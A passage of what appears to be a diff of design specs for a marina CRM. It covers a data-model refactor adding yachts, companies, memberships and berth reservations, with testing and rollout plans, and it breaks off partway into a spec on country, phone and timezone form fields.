interestId text FK → interests.id -- nullable link back to originating interest
|
||||
status text NOT NULL -- 'pending' | 'active' | 'ended' | 'cancelled'
|
||||
startDate date NOT NULL
|
||||
endDate date -- NULL = open-ended
|
||||
tenureType text NOT NULL DEFAULT 'permanent' -- 'permanent' | 'fixed_term' | 'seasonal'
|
||||
contractFileId text FK → files.id
|
||||
createdBy text NOT NULL
|
||||
createdAt timestamptz NOT NULL DEFAULT now()
|
||||
updatedAt timestamptz NOT NULL DEFAULT now()
|
||||
Indexes:
|
||||
idx_br_berth on (berthId)
|
||||
idx_br_client on (clientId)
|
||||
idx_br_yacht on (yachtId)
|
||||
idx_br_active (partial) UNIQUE on (berthId) WHERE status = 'active'
|
||||
```
|
||||
|
||||
### Modified tables
|
||||
|
||||
```
|
||||
clients
|
||||
DROP COLUMN yachtName, yachtLengthFt, yachtWidthFt, yachtDraftFt,
|
||||
yachtLengthM, yachtWidthM, yachtDraftM, berthSizeDesired
|
||||
DROP COLUMN companyName
|
||||
DROP COLUMN isProxy, proxyType, actualOwnerName, relationshipNotes
|
||||
(retains: fullName, nationality, preferredContactMethod, preferredLanguage,
|
||||
timezone, source, sourceDetails, archivedAt, createdAt, updatedAt)
|
||||
|
||||
interests
|
||||
ADD COLUMN yachtId text FK → yachts.id -- nullable initially; enforced non-null before pipeline_stage leaves 'open'
|
||||
ADD INDEX idx_interests_yacht on (yachtId)
|
||||
|
||||
berth_waiting_list
|
||||
ADD COLUMN yachtId text FK → yachts.id
|
||||
|
||||
invoices
|
||||
ADD COLUMN billingEntityType text NOT NULL -- 'client' | 'company'
|
||||
ADD COLUMN billingEntityId text NOT NULL
|
||||
(clientName column kept as immutable snapshot — must never auto-update)
|
||||
ADD INDEX idx_invoices_billing_entity on (portId, billingEntityType, billingEntityId)
|
||||
|
||||
files
|
||||
ADD COLUMN yachtId text FK → yachts.id -- nullable
|
||||
ADD COLUMN companyId text FK → companies.id -- nullable
|
||||
(existing clientId stays nullable; a file links to one of: client, yacht, or company)
|
||||
|
||||
documents
|
||||
ADD COLUMN yachtId text FK → yachts.id -- nullable
|
||||
ADD COLUMN companyId text FK → companies.id -- nullable
|
||||
```
|
||||
|
||||
### DB-level invariants
|
||||
|
||||
| # | Invariant | Enforced by |
|
||||
| --- | ------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 1 | One active ownership row per yacht | Partial unique index on `yacht_ownership_history(yachtId) WHERE endDate IS NULL` |
|
||||
| 2 | One active reservation per berth | Partial unique index on `berth_reservations(berthId) WHERE status = 'active'` |
|
||||
| 3 | Yacht always has a current owner | Both `currentOwnerType` and `currentOwnerId` NOT NULL; ownership row inserted atomically with yacht creation inside service transaction |
|
||||
| 4 | Company names unique per port (case-insensitive) | Unique index on `(portId, lower(name))` |
|
||||
| 5 | Exact-duplicate memberships blocked | Unique index on `(companyId, clientId, role, startDate)` |
|
||||
|
||||
### Service-layer invariants (not DB-enforceable due to polymorphic columns)
|
||||
|
||||
| # | Invariant | Enforced by |
|
||||
| --- | -------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------- |
|
||||
| 6 | `yacht.currentOwnerType='client'` ↔ `currentOwnerId` references an existing row in `clients`; same for `'company'` ↔ `companies` | Zod validator + service-layer lookup before insert/update |
|
||||
| 7 | `yacht_ownership_history.ownerType/ownerId` consistent with the corresponding entity table | Same as #6 |
|
||||
| 8 | `invoices.billingEntityType` + `billingEntityId` consistent with entity table | Same as #6 |
|
||||
| 9 | `files.clientId`, `files.yachtId`, `files.companyId` — exactly one of the three must be non-null if the file is entity-scoped | Service-layer validation on insert/update |
|
||||
|
||||
### Drizzle relations (`relations.ts`)
|
||||
|
||||
All new tables wire into the relations map. Notable additions:
|
||||
|
||||
- `clientsRelations`: `companyMemberships` (many), `ownedYachts` (many, via polymorphic query), `berthReservations` (many)
|
||||
- `yachtsRelations`: `port` (one), `ownershipHistory` (many), `notes` (many), `tags` (many), `interests` (many), `reservations` (many), `documents` (many)
|
||||
- `companiesRelations`: `port` (one), `memberships` (many), `addresses` (many), `notes` (many), `tags` (many), `documents` (many)
|
||||
- `berthReservationsRelations`: `berth`, `port`, `client`, `yacht`, `interest`, `contractFile`
|
||||
|
||||
## Service layer and API
|
||||
|
||||
### New services (`src/lib/services/`)
|
||||
|
||||
| File | Key functions |
|
||||
| -------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `yachts.service.ts` | `list`, `getById`, `create`, `update`, `archive`, `transferOwnership(yachtId, newOwnerType, newOwnerId, effectiveDate, reason, notes)` — atomic: closes current history row, opens new row, updates denormalized `currentOwner*` columns |
|
||||
| `companies.service.ts` | `list`, `getById`, `create`, `update`, `archive`, `upsertByName(portId, name)` (case-insensitive, for autocomplete) |
|
||||
| `company-memberships.service.ts` | `addMembership`, `endMembership(id, endDate)`, `updateMembership`, `listByCompany`, `listByClient`, `setPrimary` |
|
||||
| `berth-reservations.service.ts` | `createPending`, `activate(id)` (gates on partial unique index), `end(id, endDate)`, `cancel(id)`, `listByBerth`, `listByClient`, `listByYacht` |
|
||||
|
||||
### Modified services
|
||||
|
||||
| File | Change |
|
||||
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| `clients.service.ts` | Strip yacht/company/proxy field handling from create/update paths |
|
||||
| `interests.service.ts` | Accept `yachtId`; validate yacht is owned by the interest's client OR by a company the client actively represents. Promote-to-stage helpers require `yachtId` non-null before leaving `'open'` |
|
||||
| `berths.service.ts` | Read reservation state via `berth_reservations` instead of deriving from `berths.status`. Reservation state changes also update `berths.status` via trigger-in-service-layer |
|
||||
| `invoices.service.ts` | Accept `billingEntityType` + `billingEntityId`; snapshot the entity's current display name into `clientName` at creation (immutable afterward) |
|
||||
| `search.service.ts` | Extend to yachts and companies; include yacht name, hull number, registration in search index; include company name, legal name, taxId |
|
||||
| `recommendations.ts` (berth matcher) | Pull yacht dimensions from `yachts` table via `interest.yachtId` instead of from `clients.yacht*` |
|
||||
| `document-templates.ts` | Update `MERGE_FIELDS` catalog: deprecate `{{client.yachtName}}`, `{{client.companyName}}` and old yacht dimension tokens; add `{{yacht.*}}`, `{{company.*}}`, `{{owner.*}}` scopes. Update `resolveTemplate()` to resolve new scopes |
|
||||
| `portal.service.ts` | Portal user dashboards surface their yachts (owned + represented via memberships), their active memberships, and their active berth reservations |
|
||||
|
||||
### New REST endpoints
|
||||
|
||||
```
|
||||
# Yachts
|
||||
GET /api/v1/yachts
|
||||
POST /api/v1/yachts
|
||||
GET /api/v1/yachts/:id
|
||||
PATCH /api/v1/yachts/:id
|
||||
DELETE /api/v1/yachts/:id — archive (soft delete)
|
||||
POST /api/v1/yachts/:id/transfer — ownership transfer
|
||||
GET /api/v1/yachts/:id/ownership-history
|
||||
GET /api/v1/yachts/autocomplete?q=…
|
||||
|
||||
# Companies
|
||||
GET /api/v1/companies
|
||||
POST /api/v1/companies
|
||||
GET /api/v1/companies/:id
|
||||
PATCH /api/v1/companies/:id
|
||||
DELETE /api/v1/companies/:id — archive
|
||||
GET /api/v1/companies/autocomplete?q=…
|
||||
|
||||
# Company memberships
|
||||
GET /api/v1/companies/:id/members
|
||||
POST /api/v1/companies/:id/members
|
||||
PATCH /api/v1/companies/:id/members/:mid
|
||||
DELETE /api/v1/companies/:id/members/:mid — sets endDate
|
||||
|
||||
# Berth reservations
|
||||
GET /api/v1/berths/:id/reservations
|
||||
POST /api/v1/berths/:id/reservations — create pending
|
||||
PATCH /api/v1/berth-reservations/:id — state transitions
|
||||
```
|
||||
|
||||
### Modified endpoints
|
||||
|
||||
- `GET /api/v1/clients/:id` — response now includes nested `yachts` (owned + represented), `companies` (via active memberships), `activeReservations`
|
||||
- `POST /api/v1/clients` — no longer accepts yacht/company/proxy fields
|
||||
- `POST /api/v1/interests` — requires `yachtId`
|
||||
- `POST /api/v1/invoices` — requires `billingEntityType` + `billingEntityId`
|
||||
- `POST /api/public/interests` — creates new `client` + `yacht` + optional `company` + `membership` + `interest` in one transaction, all marked `source: 'public_submission'`. No dedup against existing records (anonymous trust boundary).
|
||||
|
||||
### Permissions (new keys)
|
||||
|
||||
```
|
||||
yachts:view
|
||||
yachts:write
|
||||
yachts:transfer — higher-stakes operation, separate from :write
|
||||
yachts:delete — archive permission
|
||||
|
||||
companies:view
|
||||
companies:write
|
||||
companies:delete
|
||||
|
||||
memberships:write — covers both directions of company_memberships
|
||||
|
||||
reservations:view
|
||||
reservations:write
|
||||
```
|
||||
|
||||
Existing role updates:
|
||||
|
||||
- `admin` — all new keys
|
||||
- `team_lead` — `yachts:view`, `yachts:write`, `companies:view`, `companies:write`, `memberships:write`, `reservations:view`; NOT `yachts:transfer` or `reservations:write`
|
||||
- `front_desk` — all `:view` keys
|
||||
|
||||
### Socket / webhook events (new)
|
||||
|
||||
```
|
||||
yacht.created
|
||||
yacht.updated
|
||||
yacht.ownership_transferred
|
||||
yacht.archived
|
||||
company.created
|
||||
company.updated
|
||||
company.archived
|
||||
company_membership.added
|
||||
company_membership.ended
|
||||
berth_reservation.created
|
||||
berth_reservation.activated
|
||||
berth_reservation.ended
|
||||
berth_reservation.cancelled
|
||||
```
|
||||
|
||||
Webhook event map in `src/lib/services/webhooks.ts` gains the same list.
|
||||
|
||||
## EOI template strategy (dual-path)
|
||||
|
||||
Both paths fully supported from day one. Required to mitigate handoff risk — if Documenso breaks or is replaced, the in-app path is the fallback.
|
||||
|
||||
### Shared payload builder
|
||||
|
||||
```ts
|
||||
// src/lib/services/eoi-context.ts
|
||||
export async function buildEoiContext(interestId: string): Promise<EoiContext>
|
||||
|
||||
type EoiContext = {
|
||||
client: { fullName; nationality; primaryEmail; primaryPhone; address; … }
|
||||
yacht: { name; lengthFt; widthFt; draftFt; hullNumber; flag; yearBuilt; … } // via interest.yachtId
|
||||
company: { name; legalName; taxId; billingAddress } | null // if yacht owner is a company
|
||||
owner: { type: 'client' | 'company'; name; … } // polymorphic current owner
|
||||
berth: { mooringNumber; area; lengthFt; price; priceCurrency; tenureType; … }
|
||||
interest: { stage; leadCategory; dateFirstContact; notes; … }
|
||||
port: { name; defaultCurrency; legalEntity; … }
|
||||
date: { today; year }
|
||||
}
|
||||
```
|
||||
|
||||
Both paths consume this. Guarantees the two rendering engines see the same data and stay in sync as schema evolves.
|
||||
|
||||
### Path A — Documenso template
|
||||
|
||||
- Documenso hosts the template, referenced by ID via env var `DOCUMENSO_TEMPLATE_ID` (matches the old system's `NUXT_DOCUMENSO_TEMPLATE_ID` pattern — a single global template ID; per-port templates are a future extension if needed)
|
||||
- Payload builder flattens `EoiContext` into Documenso's field-name format, POSTs to `/api/v1/templates/{id}/generate-document`
|
||||
- Signing flow unchanged: Documenso emails signers, webhook updates status in our DB
|
||||
- Mitigation for "Documenso's template expects specific field names": one-time audit mapping every field name expected by `templateId=8` (from the old system) to a source in the new schema
|
||||
|
||||
### Path B — In-app PDF template
|
||||
|
||||
- Seed a "Standard EOI" HTML template into `document_templates` table on first boot. Template references tokens: `{{client.fullName}}`, `{{yacht.name}}`, `{{yacht.lengthFt}}`, `{{company.name}}`, `{{berth.mooringNumber}}`, `{{interest.dateFirstContact}}`, etc.
|
||||
- `resolveTemplate()` substitutes tokens from `EoiContext`
|
||||
- `pdfme` renders the resolved HTML to PDF
|
||||
- **Signing**: generated PDF is uploaded to Documenso via existing `documensoCreate` + `documensoSend` — Documenso supports signing ad-hoc PDFs (not just its own templates). Signing experience identical to Path A from the signer's perspective.
|
||||
- **Fallback**: if Documenso is unavailable, the PDF can be emailed to the signer via `nodemailer` as a manual fallback (flag in UI, not auto-fallback)
|
||||
|
||||
### UI picker
|
||||
|
||||
Generate-EOI dialog adds a Template dropdown:
|
||||
|
||||
```
|
||||
Template: [ Documenso — Standard EOI v ]
|
||||
[ Documenso — Standard EOI ]
|
||||
[ In-app — Standard EOI ]
|
||||
[ In-app — (any custom template user authored) ]
|
||||
```
|
||||
|
||||
Explicit picker chosen over automatic fallback: misconfiguration is visible, not silently masked — important for handoff.
|
||||
|
||||
## UI impact
|
||||
|
||||
### New pages
|
||||
|
||||
| Route | Purpose |
|
||||
| ----------------------------------- | ------------------------------------------------------------------------------------------- |
|
||||
| `/[portSlug]/yachts` | List view: name, dimensions, current owner, status. Filters by owner type, size, status |
|
||||
| `/[portSlug]/yachts/[yachtId]` | Detail — Tabs: Overview, Ownership History, Interests, Reservations, Documents, Notes, Tags |
|
||||
| `/[portSlug]/companies` | List view: name, legal name, # members, # owned yachts |
|
||||
| `/[portSlug]/companies/[companyId]` | Detail — Tabs: Overview, Members, Owned Yachts, Addresses, Documents, Notes, Tags |
|
||||
|
||||
### Modified pages
|
||||
|
||||
| Page | Change |
|
||||
| ----------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| `client-form` | Remove yacht / companyName / proxy fields. Becomes a clean "person" form. Yacht and company associations managed from detail page, not here |
|
||||
| `client-detail` | Add tabs: Yachts (owned + represented), Companies (active memberships), Reservations |
|
||||
| `client-columns` | Replace yacht/company text columns with "# yachts" and "Primary company" (from active memberships marked `isPrimary`) |
|
||||
| `interest-form` | New required field: yacht picker, constrained to client's yachts (with inline "Add new yacht" option) |
|
||||
| `interest-detail` | Display yacht prominently; berth recommendations match against yacht dimensions |
|
||||
| `berth-detail` | New tab: Reservations. Shows active reservation + history. "Reserve this berth" button opens reservation dialog |
|
||||
| `invoice-form` | New billing-entity picker (client or company toggle + autocomplete); `clientName` snapshot populates automatically |
|
||||
| `eoi-generate-dialog` | New template-picker dropdown (per dual-path strategy) |
|
||||
| Global search | Extended to yachts and companies |
|
||||
| Sidebar | Adds "Yachts" and "Companies" entries. Reservations lives inside the Berths page |
|
||||
| `/api/public/interest` form (new interest submission) | Captures yacht + company sub-forms; creates new trio on submission |
|
||||
|
||||
### Portal pages
|
||||
|
||||
- Dashboard: shows owned + represented yachts, active memberships, active reservations
|
||||
- New "My Yachts" tab — read-only yacht detail scoped to ones user owns or represents
|
||||
- New "My Reservations" tab
|
||||
- Authenticated interest submissions create yacht row linked to the portal user (not anonymous)
|
||||
|
||||
### New components (`src/components/`)
|
||||
|
||||
```
|
||||
yachts/
|
||||
yacht-form.tsx
|
||||
yacht-detail.tsx
|
||||
yacht-detail-header.tsx
|
||||
yacht-tabs.tsx
|
||||
yacht-columns.tsx
|
||||
yacht-picker.tsx
|
||||
yacht-ownership-history.tsx
|
||||
yacht-transfer-dialog.tsx
|
||||
companies/
|
||||
company-form.tsx
|
||||
company-detail.tsx
|
||||
company-detail-header.tsx
|
||||
company-tabs.tsx
|
||||
company-columns.tsx
|
||||
company-picker.tsx
|
||||
company-members-tab.tsx
|
||||
company-owned-yachts-tab.tsx
|
||||
add-membership-dialog.tsx
|
||||
reservations/
|
||||
reservation-form.tsx
|
||||
reservation-list.tsx
|
||||
berth-reserve-dialog.tsx
|
||||
shared/
|
||||
owner-picker.tsx — polymorphic client|company autocomplete
|
||||
billing-entity-picker.tsx
|
||||
```
|
||||
|
||||
All follow existing `shadcn/ui` + CVA + react-hook-form + zod pattern.
|
||||
|
||||
### Seeder (`src/lib/db/seed.ts`) — rewrite
|
||||
|
||||
Produces realistic multi-cardinality fixtures:
|
||||
|
||||
- 3 companies (two with multiple members, one dissolved with an `endDate` on all memberships)
|
||||
- 8 clients (some personal-only, some with company memberships, at least one representing multiple companies)
|
||||
- 12 yachts (mix of client-owned and company-owned; 2-3 with ownership-transfer history)
|
||||
- Interests linking clients ↔ yachts ↔ berths with realistic pipeline-stage distribution
|
||||
- A handful of active berth reservations + a few ended/cancelled ones
|
||||
- Rich contact / address / membership / ownership-history data covering every test scenario
|
||||
|
||||
Seeder shares factory helpers with tests (`tests/helpers/factories.ts`).
|
||||
|
||||
## Testing strategy
|
||||
|
||||
### Coverage targets (CI-enforced)
|
||||
|
||||
| Tier | Target |
|
||||
| ------------- | ------------------- |
|
||||
| Service layer | ≥ 90% line coverage |
|
||||
| Validators | 100% line coverage |
|
||||
| API routes | ≥ 85% line coverage |
|
||||
| Overall | ≥ 85% line coverage |
|
||||
|
||||
Hard rules: no skipped tests on `main`; no PR merge without green CI on all tiers.
|
||||
|
||||
### Tier 1 — Unit tests (Vitest)
|
||||
|
||||
- Every new service function: happy path, each validation failure, each precondition failure, tenant-scoping
|
||||
- Merge-field resolver: every new token resolves correctly across each context shape
|
||||
- Validators: every zod schema tested for pass + fail on each field
|
||||
|
||||
### Tier 2 — Integration tests (Vitest + Postgres via docker-compose test DB)
|
||||
|
||||
- Migration up/down correctness
|
||||
- Partial unique indexes (`berth_reservations(berthId) WHERE status='active'`, `yacht_ownership_history(yachtId) WHERE endDate IS NULL`) reject duplicate inserts
|
||||
- FK cascades: deleting a client cascades contacts/addresses; yacht-with-this-owner is BLOCKED from being lost
|
||||
- Atomic `transferOwnership`: concurrent retries result in consistent state
|
||||
- Polymorphic integrity checks: `yacht.currentOwnerType='client'` with a companyId is rejected by service-layer validation
|
||||
- Company name case-insensitive uniqueness
|
||||
- Every new API route: auth → permission → service → DB → response shape
|
||||
|
||||
### Tier 3 — E2E scenario tests (Playwright)
|
||||
|
||||
Full-lifecycle flows:
|
||||
|
||||
1. Create client → add yacht → create interest → generate EOI (Documenso path) → PDF in MinIO
|
||||
2. Same, in-app template path → verify PDF content contains expected yacht name
|
||||
3. Create company → add two clients as members → create yacht owned by company → generate invoice billed to company
|
||||
4. Yacht transfer: client-owned → company-owned; verify history + denormalized column + UI
|
||||
5. Reserve berth: create → verify visible → attempt duplicate reservation → blocked
|
||||
6. Public interest form → admin sees new client+yacht+company+interest trio
|
||||
7. (Spec 3 stub): merge flow tested end-to-end in Spec 3
|
||||
|
||||
Multi-cardinality flows (the core justification for this refactor):
|
||||
|
||||
8. One client with 3 yachts, 3 interests, 3 different berths — all representable
|
||||
9. One person as broker for 2 companies, each owning 1 yacht — memberships + owned yachts visible from client detail
|
||||
|
||||
Portal flows:
|
||||
|
||||
10. Portal user views "my yachts" — sees only owned/represented
|
||||
11. Portal user submits interest — new yacht linked to their identity
|
||||
|
||||
### Tier 3.5 — Exhaustive Playwright click-through suite
|
||||
|
||||
Location: `tests/e2e/exhaustive/`. Separate CI job (15-20 min, runs in parallel with other tiers, blocks merge if failing).
|
||||
|
||||
Spec files: `yachts`, `companies`, `reservations`, `client-detail-refactored`, `eoi-generate`, `invoice-form`, `berths-with-reservations`, `portal`, `navigation`.
|
||||
|
||||
Per-page logic:
|
||||
|
||||
1. Navigate to page
|
||||
2. Enumerate every interactive element (`button`, `a`, `[role="button"]`, `[data-testid]`, form inputs)
|
||||
3. Click/fill each; post-click: assert no console errors, no 4xx/5xx network responses, UI returns to stable state
|
||||
4. Coverage assertion: elements clicked ≥ total elements on page (minus declared destructive-action allowlist)
|
||||
|
||||
Helper: `tests/helpers/click-everything.ts` exports `clickEverythingOnPage(page, opts)`.
|
||||
|
||||
Destructive actions allowlist (tested separately with create-then-destroy isolation):
|
||||
|
||||
```
|
||||
yachts.delete, yachts.archive, yachts.transferOwnership
|
||||
companies.delete, companies.archive
|
||||
companyMemberships.end
|
||||
berthReservations.cancel, berthReservations.end
|
||||
invoices.delete
|
||||
```
|
||||
|
||||
Acceptance criteria for Spec 1 completion:
|
||||
|
||||
- Every new or changed page has 100% coverage in the exhaustive suite (minus allowlist)
|
||||
- Every allowlist entry has its own narrow destructive test
|
||||
- Zero console errors across the full suite
|
||||
- Zero unexpected 4xx/5xx responses
|
||||
|
||||
### Tier 4 — EOI template regression
|
||||
|
||||
- **Documenso payload snapshot test**: mock Documenso API; assert POST body contains every expected field name with correct value sourced from new schema
|
||||
- **In-app template rendering test**: render seeded template against each scenario's context; assert resolved HTML contains expected substrings; assert `pdfme` produces a non-empty PDF
|
||||
- **Visual diff**: render in-app EOI to PDF, compare against committed golden-image PDFs per scenario; regressions surface as image diffs in PR
|
||||
- **Error paths**: missing yacht, missing company with company-owned yacht reference, missing config (Documenso API key missing) — all produce explicit errors, not silent blanks
|
||||
|
||||
### Tier 5 — Security tests
|
||||
|
||||
- Cross-tenant isolation: yacht/company/reservation in port A invisible/unmodifiable from port B
|
||||
- Permission enforcement: user without `yachts:write` cannot `POST /yachts`; `yachts:transfer` required for transfer endpoint
|
||||
- Portal authorization: portal user cannot see yachts they don't own/represent
|
||||
- Public interest endpoint: anonymous submitter cannot read existing records
|
||||
|
||||
### Test infrastructure
|
||||
|
||||
Fixture factories in `tests/helpers/factories.ts`:
|
||||
|
||||
```
|
||||
makeYacht({ owner: client|company, ...overrides })
|
||||
makeCompany({ overrides })
|
||||
makeMembership({ client, company, role, ...overrides })
|
||||
makeOwnershipHistoryRow({ yacht, owner, startDate, endDate })
|
||||
makeReservation({ berth, client, yacht, status })
|
||||
```
|
||||
|
||||
Scenario builders produce Tier 3 multi-cardinality setups in a single call.
|
||||
|
||||
Integration tests run against a fresh migrated DB; each test file wraps in a transaction that rolls back OR uses per-file schema isolation.
|
||||
|
||||
## Rollout plan
|
||||
|
||||
Green-field Postgres DB — no dual-write, no phased migration needed. Concern is only sequencing so the working tree never enters a broken half-migrated state.
|
||||
|
||||
### PR sequence (≈ 15 PRs, feature branch `refactor/data-model`)
|
||||
|
||||
| # | PR | Depends on |
|
||||
| --- | --------------------------------------------------------------------------------------------------- | ------------ |
|
||||
| 1 | Schema migration: add all new tables, leave old client columns in place | — |
|
||||
| 2 | Service layer: new services (yachts, companies, memberships, reservations) | 1 |
|
||||
| 3 | API routes for new services + new permissions | 2 |
|
||||
| 4 | Seeder rewrite with multi-cardinality fixtures | 2 |
|
||||
| 5 | UI: yacht list + detail + form + picker + ownership-history + transfer-dialog | 3 |
|
||||
| 6 | UI: company list + detail + form + picker + memberships tab + add-membership dialog | 3 |
|
||||
| 7 | UI: berth reservations tab + reserve dialog + ownership-transfer wiring | 3 |
|
||||
| 8 | Client form refactor: strip yacht/company/proxy fields, add nav links to yachts/companies | 5, 6 |
|
||||
| 9 | Interest form: require `yachtId` + public interest form creates trio | 5 |
|
||||
| 10 | Invoice billing-entity support (client or company) | 6 |
|
||||
| 11 | EOI shared payload builder + seed in-app Standard EOI template + dual-path dialog | 5, 6 |
|
||||
| 12 | Merge-field catalog update + resolver extension for `{{yacht.*}}` / `{{company.*}}` / `{{owner.*}}` | 11 |
|
||||
| 13 | Drop old columns from `clients` (`yacht*`, `companyName`, proxy fields) | 8, 9, 10, 11 |
|
||||
| 14 | Exhaustive Playwright click-through suite (Tier 3.5) | 13 |
|
||||
| 15 | Documentation updates (CLAUDE.md, numbered spec files 01-15, API catalog) | 13 |
|
||||
|
||||
After PR 15, merge the feature branch into `main` as one final PR.
|
||||
|
||||
## Risks and mitigations
|
||||
|
||||
| Risk | Severity | Mitigation |
|
||||
| -------------------------------------------------------------------------------------------------- | --------- | ------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| Spec 2 (importer) depends on final schema; mid-development schema churn → rework | High | Schema freeze after PR 1 lands; amendments require deliberate spec update |
|
||||
| Polymorphic owner columns have no DB-level FK — service-layer bug could insert inconsistent owner | Medium | Service-layer validation + integration test for every create/update path; runtime assertion in `buildEoiContext` |
|
||||
| EOI dual-template drift (two engines produce subtly different output) | Medium | Golden-image visual-diff tests in Tier 4, CI-gated |
|
||||
| Documenso template at `templateId=8` expects specific field names — new payload builder must match | Medium | One-time audit: document every field the existing template expects; map each to a source in new schema; Spec 2's importer uses same mapping |
|
||||
| Old `client-portal/` sub-repo coordination during Spec 2 cutover | Low | Confirm old client-portal is decommissioned at Spec 2 cutover (not running concurrently against shared data) |
|
||||
| Seeder becomes dev-onboarding bottleneck | Low | Seeder uses same factory helpers as tests — code path shared + tested |
|
||||
| Documentation rot in numbered spec files | Low | PR 15 updates them before the feature branch merges to `main` |
|
||||
| Exhaustive-click-suite runtime (15-20 min per PR) | Low | Separate CI job, runs in parallel with other tiers |
|
||||
| Handoff quality — "EOIs don't work" / "I can't see my yachts" | Addressed | Dual template paths + exhaustive click coverage + golden-image diff + template regression tests collectively mitigate |
|
||||
|
||||
## Open questions / deferred items
|
||||
|
||||
Explicitly out of scope for this spec:
|
||||
|
||||
- Yacht survey / class-cert document categorization (requires taxonomy work)
|
||||
- Multi-level company hierarchy (holding → subsidiary) — additive later
|
||||
- Invoice line items referencing specific yacht
|
||||
- Berth reservation auto-renewal flow
|
||||
- Per-yacht row-level permissions (e.g., "broker can only see yachts they represent")
|
||||
- Portal branding per company
|
||||
|
||||
## Success criteria
|
||||
|
||||
Spec 1 is complete when:
|
||||
|
||||
1. All PRs in the sequence are merged to `main`
|
||||
2. CI is green: all coverage gates met, zero skipped tests, exhaustive click-through suite passes
|
||||
3. Manual verification: developer walks through every multi-cardinality scenario in Tier 3 E2E list against a dev build
|
||||
4. Both EOI paths produce documents that match the current system's outputs (visual verification + golden images committed)
|
||||
5. Documentation (CLAUDE.md + numbered spec files) updated
|
||||
6. Spec 2 (NocoDB+MinIO importer) can begin against a frozen schema
|
||||
@@ -1,171 +0,0 @@
|
||||
# Country / Phone / Timezone — i18n form polish
|
||||
|
||||
**Status:** Agenda — awaiting prioritization (likely Phase B or B.5)
|
||||
**Date:** 2026-04-28
|
||||
**Phase:** Cross-cutting; touches every form that captures contact data
|
||||
|
||||
## Why
|
||||
|
||||
Today every CRM form takes free-text strings for nationality, phone, and timezone. That's fine for a marina with one operator typing it in once, but it leaks operator inconsistencies into reports and breaks any later system that consumes these fields (Documenso prefill, public website inquiry, portal sync, exports). For a multi-port platform that's about to onboard non-Polish-speaking residential clients, the data quality matters.
|
||||
|
||||
Three coupled UX upgrades:
|
||||
|
||||
1. **Nationality → ISO-3166 country dropdown.** Searchable. Stores ISO alpha-2 code (`'GB'`), displays localized country name.
|
||||
2. **Phone → country-code dropdown + format-as-you-type.** E.164 storage on the wire, formatted display per country.
|
||||
3. **Timezone → autofilled from country with override dropdown.** Most countries are single-zone; the few that aren't (US, RU, AU, BR, CA, ID, KZ, MN, MX, CD) get a sub-select. Stores IANA TZ string (`'Europe/Warsaw'`).
|
||||
|
||||
## Scope
|
||||
|
||||
### In scope
|
||||
|
||||
- New shared primitives: `<CountryCombobox>`, `<PhoneInput>`, `<TimezoneCombobox>`
|
||||
- ISO-3166 country list bundled (no API call); names from `Intl.DisplayNames` with locale fallback to English
|
||||
- Country → primary IANA timezone map (~250 entries, JSON)
|
||||
- Phone parsing/validation/formatting via `libphonenumber-js` (server + client)
|
||||
- Wire into every form that captures contact data:
|
||||
- `<ClientForm>` (name, nationality, phone)
|
||||
- `<ResidentialClientDetail>` inline editor (nationality, phone, place_of_residence — country-aware)
|
||||
- `<CompanyForm>` (incorporation_country)
|
||||
- `<PortalActivateForm>` (phone)
|
||||
- public inquiry form (form-template renderer, when phone field present)
|
||||
- DB migration: store ISO codes (`countries`, `nationality_iso`), E.164 phone (`phone_e164`), IANA timezone (`timezone`)
|
||||
- Backfill: best-effort parse existing free-text into the new columns; keep originals as `_legacy` for one release cycle
|
||||
- Display: localized country name in tables/detail pages; phone formatted per country (e.g. `+44 20 7946 0958`); timezone shown as friendly `'London (UTC+1)'` when current
|
||||
- Tests: unit (parser edge cases), integration (form submit → E.164 storage), smoke (typing + selecting flows)
|
||||
|
||||
### Out of scope (deferred)
|
||||
|
||||
- Multilingual UI surface (only the country _names_ localize via `Intl.DisplayNames`; rest of the UI stays English for now)
|
||||
- Subdivision picker (states/provinces) — only top-level country
|
||||
- Phone number geocoding / carrier lookup
|
||||
- Address autocomplete (Google Places, etc.)
|
||||
- Currency localization
|
||||
- RTL layout
|
||||
|
||||
## Library choices
|
||||
|
||||
| Concern | Library | Why |
|
||||
| --------------------------- | -------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| Phone input + flag dropdown | `omeralpi/shadcn-phone-input` | Built on shadcn-ui's `Input` primitive (zero styling friction with our component library), wraps `libphonenumber-js`, ships with country dropdown + format-as-you-type. Small bundle. |
|
||||
| Phone parsing/validation | `libphonenumber-js` | Google's library, ~88 benchmark, used by every popular React phone input. Server-side validation in zod. |
|
||||
| Country list | Bundled JSON of ISO-3166 alpha-2 codes + 3-letter codes + display names (English baseline) | No need for the heavier `country-state-city` databases — we don't need cities or states yet. |
|
||||
| Country → timezone | Hand-curated `country-timezones.json` (250 entries, ~10kb) sourced from `country-tz` or moment-timezone's data | Static, no network call. For multi-zone countries, expose a sub-select. |
|
||||
| Timezone formatting | `Intl.DateTimeFormat` (built-in) | Browser API; renders `'Europe/Warsaw (UTC+1)'`-style labels. |
|
||||
| Timezone list | `Intl.supportedValuesOf('timeZone')` (built-in, ~600 entries) | Used as the override dropdown when a user wants a non-primary zone. |
|
||||
|
||||
Bundle impact: `libphonenumber-js` mobile build is ~80 KB gz; `shadcn-phone-input` is ~5 KB; country/timezone JSONs ~30 KB. All client-side, lazy-loaded on first form render via `next/dynamic`.
|
||||
|
||||
## Schema deltas
|
||||
|
||||
```sql
|
||||
-- clients
|
||||
ALTER TABLE clients ADD COLUMN nationality_iso text; -- 'GB'
|
||||
ALTER TABLE clients ADD COLUMN timezone text; -- 'Europe/London'
|
||||
-- existing 'nationality' free-text column stays for a release; new code reads ISO
|
||||
|
||||
-- client_contacts (or wherever phone lives)
|
||||
ALTER TABLE client_contacts ADD COLUMN value_e164 text; -- '+442079460958'
|
||||
ALTER TABLE client_contacts ADD COLUMN value_country text; -- 'GB' (where the number was parsed against)
|
||||
-- existing 'value' stays as the human-displayable formatted form
|
||||
|
||||
-- residential_clients — same pattern
|
||||
ALTER TABLE residential_clients ADD COLUMN nationality_iso text;
|
||||
ALTER TABLE residential_clients ADD COLUMN timezone text;
|
